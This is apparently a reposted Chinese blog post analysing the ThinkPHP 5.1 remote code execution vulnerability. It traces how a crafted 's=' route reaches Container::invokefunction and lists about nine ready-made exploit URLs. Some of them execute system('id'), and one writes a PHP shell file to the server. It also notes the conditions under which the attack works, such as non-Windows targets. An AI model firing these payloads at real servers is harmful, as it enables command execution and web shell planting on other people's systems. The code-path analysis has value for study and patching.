thinkphp5远程代码执行漏洞分析(一)

payload

测试版本thinkphp5.1beta

url => http://127.0.0.1/thinkphp5.1beta/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1

漏洞分析

查阅了网上的分析资料,直接定位到漏洞形成的直接代码Module.php 第124行:

传入的参数在124行生成了think\container类中的invokefunciton方法,该方法会生成一个函数并调用。

而传入参数$vars为我们get中传入的内容。反向跟踪$call和$vars变量

在108行以$instance实例作为元素。继续反向查看,可以发现在第93行被实例化。

 深入查看$this->app->controller。thinkphp5.1beta\thinkphp\library\think\App.php第463行

当检测到路由信息中有\后调用$this->request->module()方法,该方法会先判断该类是否存在,存在的话生成该类实例

 

其中$controller从参数中提取出来的。

分析堆栈,url.php第26行

可以看到,我们传入的路由信息被parseUrl解析后传给了Module类实例化运行了run()方法。

注意:

网上payload还有很多,因为漏洞的利用主要是找源码中存在的可以利用的类,用其生成方法并传入参数执行。

比如:https://www.chabug.org/web/613.html中罗列的

1.?s=index/\think\Request/input&filter=phpinfo&data=1
2、?s=index/\think\Request/input&filter=system&data=id
3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

但是要你的thinkphp版本中要确实存在该类,并且对方服务器系统不能是windows,因为在class_exist判断类是否存在的时候,若命令空间不为\think\xxx ,win系统会把类名小写化后去严格根据大小写判断该类的对应文件是否存在,而在thinkphp中文件均以大写开头,所以会判断该类不存在

猜你喜欢

转载自www.cnblogs.com/iceli/p/11421526.html